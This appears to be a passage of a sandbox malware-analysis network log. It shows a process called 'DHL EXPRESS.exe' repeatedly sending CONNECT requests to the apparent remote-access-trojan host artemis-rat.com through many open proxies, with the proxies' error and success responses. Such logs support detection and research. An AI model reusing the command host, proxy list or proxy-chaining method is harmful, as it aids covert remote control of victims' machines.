1523	192.168.2.8	52991	161.97.163.52	18693	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.775779009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.800379992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909722090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.003546000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.8	54412	172.67.255.224	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.777359962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.931932926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.8	54104	120.194.4.157	82	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.827907085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.909439087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909775972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.003546953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.003238916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.095120907 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:37:17 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.8	53978	83.238.80.18	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.828511000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.865472078 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.8	54360	8.213.128.90	808	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.835155010 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:53.565896988 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.8	54359	8.213.128.90	4506	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.871592999 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:53.597189903 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.8	50318	203.161.30.10	8765	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.871803999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.702867031 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.8	54380	129.213.150.205	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.872706890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.8	50660	177.93.45.156	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.885024071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.957228899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1532	192.168.2.8	50643	45.81.232.17	48085	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.889231920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.957290888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.065967083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.066471100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.065831900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.081360102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.190706015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.221962929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:53.300086975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.8	50637	51.158.124.167	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.908772945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.712272882 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.8	54375	163.172.144.132	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.915052891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.8	50666	187.122.105.181	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.915489912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.8	54408	46.17.63.166	4154	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.918227911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.211653948 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.8	54405	183.100.14.134	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.925532103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.169327974 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:54 GMT Server: Apache Content-Length: 534 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 68 65 6c 70 40 67 65 6e 69 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at help@geninetworks.com to inform them of the time this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.8	54385	34.92.12.210	9238	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.929048061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.945816040 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.8	54411	202.61.204.51	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.940866947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.195178032 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:54 GMT Server: Apache/2.4.38 (Debian) Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 630 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfigura
Mar 11, 2024 18:36:54.195194960 CET	421	IN	Data Raw: 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d Data Ascii: tion and was unable to completeyour request.</p><p>Please contact the server administrator at administrator@wildstyle-network.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.8	50673	195.177.217.131	52858	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.941319942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097035885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.098860025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.122879982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.8	54402	203.218.172.225	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.941598892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.8	54418	45.5.118.43	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.941659927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.532286882 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 715 Content-Type: text/html Date: Sat, 24 Feb 2024 21:19:30 GMT Expires: Sat, 24 Feb 2024 21:19:30 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.8	53035	213.16.81.182	35559	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.944236994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.8	54125	125.122.26.242	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.944699049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.8	54400	51.210.216.54	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.963010073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
